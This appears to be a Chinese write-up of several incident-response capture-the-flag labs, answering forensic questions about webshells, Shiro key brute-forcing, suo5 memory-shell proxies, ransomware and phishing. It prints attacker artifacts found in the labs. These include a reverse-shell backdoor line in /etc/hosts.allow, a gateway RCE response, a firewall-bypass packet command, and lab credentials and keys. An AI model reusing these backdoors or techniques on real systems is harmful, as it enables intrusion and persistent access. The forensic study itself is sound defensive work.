看看数据库账号密码,网上搜了一下xxl-job配置文件的目录,找到账号密码

之后就是登上数据库翻了,用哥斯拉直接登录数据库不知道为啥会卡死,只能sh脚本导出sql文件然后再看,之后翻一翻就好

应急响应-vulntarget-k-02

加个账号

8800和8848都有洞

server:
  port: 8586

api:
  task:
    url: http://127.0.0.1/api/office/taskHandle

knife4j:
  redis:
    host: 0.0.0.0
    password: nbsg@123456
    port: 6379
    databases: 0,1,2,3,4,5,6,7
    timeout: 60000


logging:
  config: classpath:logback.xml

xxl:
  job:
    admin:
      addresses: http://127.0.0.1:8998/xxl-job-admin
    accessToken: X336qlhSuYz2Nshk
    executor:
      appname: redis-task
      address:
      ip:
      port: 5599
      logpath: /data/logs/xxl-job/redis-task
      logretentiondays: 5


app:
  mq:
    delay:
      queue: bb_DELAY_QUEUE
      exchange: bb_delay_exchange

spring:
  rabbitmq:
    host: 127.0.0.1
    port: 5672
    username: admin
    password: global2018#
    virtualHost: /

8848没法rce,看8800那个

通过漏洞获取权限,执行uname -a 的结果 flag{Dxxxxxxxxx GNU/Linux}

root权限

{"predicate":"RouteDefinitionRouteLocator$$Lambda$1057/87676789","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'Linux ip-10-0-10-3 4.19.0-22-cloud-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux'], order = 1]"],"uri":"http://example.com:80","order":0}

黑客通过漏洞获取权限后获得的redis密码是多少,讲黑客通过漏洞获取权限后获得的redis密码作为 FLAG 提交 (请记录 REDIS 密码在 vulntarget03 环境中可以使用)

nbsg@123456

应急响应-vulntarget-k-03

找到/opt/.a

通过本地 PC SSH到服务器并且找到黑客最后攻击的时间,将黑客最后攻击的时间作为 FLAG 提交(flag{432:M 18 Mar 2022 13:02:01.254});

最后是个写了个ssh秘钥

flag{432:M 18 Mar 2024 12:03:09.854}

通过本地 PC SSH到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交

一看就是redis写的

penguin

通过本地 PC SSH到服务器并且找到黑客绕过防火墙检测所使用工具的 KEY,将找到的 KEY 作为 FLAG 提交

这里面是跟防火墙有关的,有很多iptables关键字

python是要输入一个key

key写在sh里面

./sendPacket.py 192.168.0.1 edisec-penguin 14.14.14.14 6666

通过本地 PC SSH到服务器并且找到黑客绕过防火墙检测所使用工具反弹 Shell 的 ip,将找到对应的 IP 作为 FLAG 提交

flag{14.14.14.14}

应急响应-vulntarget-n-勒索病毒应急靶场

常规看看history

看着后面有很多对文件的操作,还涉及到了加密、ssh秘钥什么的

web目录被加密了

目录里有私钥,直接解密flag.jsp

看他还修改了日志,看看日志

实战-行业攻防应急响应

登上去随便喽了一眼,看见配置了ssh秘钥,说明最后是拿到了shell

创建时间2024.7.29

root@security:~/.ssh# find / -newerct '2024-07-28 12:00:00' ! -newerct '2024-07-29 23:59:59' -type f
/var/lib/fwupd/metadata/lvfs/metadata.xml.gz
/var/lib/fwupd/metadata/lvfs/metadata.xml.gz.jcat
/var/lib/landscape/landscape-sysinfo.cache
/var/cache/motd-news
/var/cache/fwupd/metadata.xmlb
/var/cache/pollinate/seeded
/root/.lesshst
/root/.cache/motd.legal-displayed
/root/.bash_history
/root/.ssh/id_rsa.pub
/root/.viminfo
/home/security/ruoyi/logs/sys-info.log
/home/security/ruoyi/logs/sys-user.log
/home/security/ruoyi/ruoyi-admin.jar
/home/security/.bash_history
/home/security/upload/.CCC/.happy.sh
/home/security/security.pcap
/etc/shadow
/etc/systemd/system/ruoyi.service
/etc/systemd/system/happy.service
/etc/crontab
/etc/ssh/sshd_config
/opt/.f/.s/.c/.a/.n/result.txt
/opt/.f/.s/.c/.a/.n/F.Sca.n
/opt/.Abc/.qxwc.sh

根据流量包分析首个进行扫描攻击的IP是

直接按照时间排序,前面192.168.0.200都是dns解析的流量,从192.168.0.223开始是端口探测,但是被攻击机器应该是192.168.0.211

根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}

目的ip设置为192.168.0.221,翻过192.168.0.223的扫描部分,就是192.168.0.200了,基本上是目录扫描和漏洞扫描

ua里面没有明显特征,搜了搜,别问,问就是有bxss.me就是acunetix

提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交

筛选一下Cookie: rememberMe=

192.168.0.226

10个100+最后一个69-第一个yes=1068(看不出来成没成功)

但是为什么不是192.168.0.242呢?因为后面在获取了heapdump之后拿到了key,之后就是正常shiro打了

这里随便解了一个

人家192.168.0.242还在9988端口下了heapdump

导出来删掉前面的请求

没解析出来,那自己访问一下下下来然后解密

CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = c+3hFGPjbgzGdrC+MHgoRQ==, algName = AES

===========================================
UserPassSearcher
-------------
com.ruoyi.web.controller.tool.UserEntity:
[password = admin123, username = ry]
[password = admin123, username = admin]

com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = ruoyi, useConnectWithDb = true, serverDefaultAuthenticationPluginName = caching_sha2_password, username = root]

com.mysql.cj.conf.HostInfo:
[password = ruoyi123, host = localhost, user = root]

com.mysql.cj.jdbc.ConnectionImpl:
[password = ruoyi123, database = ruoyi, origHostToConnectTo = localhost, user = root]

com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceWrapper:
[password = ruoyi123, accessToUnderlyingConnectionAllowed = true, jdbcUrl = jdbc:mysql://localhost:3306/ruoyi?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8, dbTypeName = mysql, username = root]

com.alibaba.druid.spring.boot.autoconfigure.properties.DruidStatProperties$StatViewServlet:
[loginUsername = ruoyi, loginPassword = 123456, urlPattern = /druid/*]

提交攻击者利用成功的密钥,以flag{xxxxx}提交

c+3hFGPjbgzGdrC+MHgoRQ==

提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}

ruoyi123&admin123&123456

根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}

9988&12333

根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址

查一下dns解析,发现了1dvrle.dnslog.cn

根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交

在做探测dnslog的时候,发现了这个

ioa7mngifly8gcu5hvoc3osbv21sph.burpcollaborator.net

肯定是有问题的,然后找到上一条,解密看看,反弹shell是192.168.0.251:8888

攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径

/opt/.f/.s/.c/.a/.n

反弹shell的流量里也能看到

另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交

b8053bcd04ce9d7d19c7f36830a9f26b

攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}

http://zhoudinb.com:12345/qxwc.sh

攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径

/home/security/upload/.CCC/.happy.sh

这俩题就一起的,一个计划任务,一个开机自启service

后面单独下了qxwc.sh,把他改名叫.happy.sh

攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交

就是ssh那个

xj1zhoudi@kali

哥斯拉ekp版本流量分析

直接看流量

对比一下正常的哥斯拉,发现是多套了个base,所以先base解一层再正常解哥斯拉就行了

黑客上传的木马文件名是什么

.index.jsp

2黑客上传的木马连接密码是什么?

mypass

黑客上传的木马链接密钥是什么

9adbe0b3033881f8

黑客连接webshell后执行的第一条命令是什么

用工具解的时候有点问题,还是直接cyberchef解

flag{cat /etc/passwd}

这个木马是根据哪个参数进行回显的?(提交参数名)

Rec106e_config

黑客留下的后门的反连的IP和PORT是什么(flag{IP,PORT)

解下一个包同理

flag{192.168.31.205,4444}

黑客通过后门反连执行的第一条命令是什么

flag{ls}

黑客新增的后门用户名密码是什么(提交flag{username,password})

flag{x,Xj@666.}

黑客新增的后门文件是什么(提交完整路径)

下面是ssh的流量

需要上机检查

时间是2024/10/09 18:10:02到2024/10/09 18:15:38

搜了一下没有,奇怪,看了看.index.jsp,发现时间是10.2

root@ip-10-0-10-2:~# find / -newerct '2024-10-02 02:00:00' ! -newerct '2024-10-02 23:59:59' -type f
/opt/apache-tomcat-8.5.19/webapps/ROOT/.index.jsp
/opt/apache-tomcat-8.5.19/logs/localhost_access_log.2024-10-02.txt
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.class
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.class
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/ROOT/org/apache/jsp/__index_jsp.class
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/ROOT/org/apache/jsp/__index_jsp$X.class
/opt/apache-tomcat-8.5.19/work/Catalina/localhost/ROOT/org/apache/jsp/__index_jsp.java
/etc/fstab
/etc/vmimport.rc.local
/etc/default/grub
/etc/default/grub-bkup
/etc/fstab.orig
/etc/network/interfaces
/etc/network/vmimport.interfaces
/etc/hosts.allow
/etc/rc.d/rc.local
/etc/rc.d/rc.local.vmimport
/etc/cloud/cloud.cfg.d/99-disable-network-config.cfg
/etc/cloud/cloud.cfg.d/vmimport.99-disable-network-config.cfg
/root/.bash_h1story/.keys
find: ‘/proc/2849/task/2849/fdinfo/6’: No such file or directory
find: ‘/proc/2849/fdinfo/5’: No such file or directory
/var/lib/dhcp/dhclient.ens33.leases
/var/lib/systemd/timesync/clock
/boot/grub/grub.cfg
/boot/grub/grub.cfg-bkup

/etc/hosts.allow:

ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.31.200/4444 0>&1") & :allow

黑客的后门公钥是什么(提交公钥的md5值)

d7bf0e27d6f533604250faceb28b6d4b

黑客注入的内存马代理是哪种类型(如flag{frp})

上机检查内存里没看见有内存马,但是之前确实有落盘

下面都是/connect,是内存马

找到上一个解一下,之后导出来,但是不是标准的class文件

把前面多余删掉,然后idea反编译

注入了内存马,跟上面的参数能对得上

网上搜到https://github.com/zema1/suo5/blob/main/assets/java/suo5.jsp
包括ua也对得上,这里ua就是认证

flag{suo5}

这个代理的路径是什么(如flag{frp})

flag{/connect}

这个代理的连接密码是什么?(将得到的密码md5后作为flag提交)

md5(Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3)

e3c77fd790af8d25fe271cd275eb405e

黑客扫描了哪个ip的哪些端口?(端口按照文本的顺序提交即可如:flag{ip,21,22,23})

进行了端口扫描

扫描结果如下

但是这个是扫描结果,往前找找,找到下发任务时候的包

flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}

黑客扫描到开放的端口有哪些?(端口从小到大排序提交如:flag{21,22,23})

flag{222,8081}

钓鱼事件应急

攻击者通过钓鱼攻击拿下来目标主机,请给出攻击者钓鱼使用的漏洞编号,flag格式:flag{CVE-2019-13514}

桌面看见有个漏洞通报的压缩包,经典钓鱼了,算一下md5,然后微步查一下

CVE-2023-38831

给出钓鱼程序下载木马的地址,flag格式: flag{http://127.0.0.1:3000/shell.exe}

http://192.168.229.156:7001/wls-wsat/7z.exe

给出远控木马的小写md5,flag格式:flag{md5(shell.exe)}

到目录里发现有个马,但是一直没有权限

C:\Users\Administrator\AppData\Local\Temp\7z.exe

后来突然想起来可能被查杀了,然后恢复一下

虽然再到目录里没有,但是可以读取到了

flag{d1e11c3281072d11088e7b422ad52e6c}

给出远控木马程序的服务端IP:flag格式:flag{127.0.0.1}

flag{192.168.229.136}

给出攻击者在横向中上传的内网扫描工具位置,flag格式:flag{C:\Program Files (x86)\Mozilla Firefox\fonts\a.exe}

C:\Windows\Temp\fscan.exe

给出攻击者在权限维持中创建的服务名称,flag格式:flag{sc_name}

flag{MysqlServer}

给出攻击者创建影子账户的名称,flag格式:flag{username}

hack$

给出攻击者第一次成功远程登入系统的时间flag格式:flag{ 2024-01-01 01:01:01}

flag{2024-09-22 13:15:11}

EventLog.EventID == 4624 and #Timestamp < 2024-09-24T11:00:35.8614510 and #Timestamp > 2024-03-01T12:46:20.2868540 and EventLog.EventData["TargetUserName"] == "hack$"

攻击者在横向中创建了一个端口转发规则,给出转发的目的IP地址和端口,flag格式:flag{127.0.0.1:3389}

netsh interface portproxy show all

flag{10.10.10.103:3389}

1 条评论
某人
表情
可输入 255
1746699085785385
2024-11-28 07:15 湖北 0 回复

师傅可以说一下钓鱼事件应急中的日志分析工具是什么吗?


目录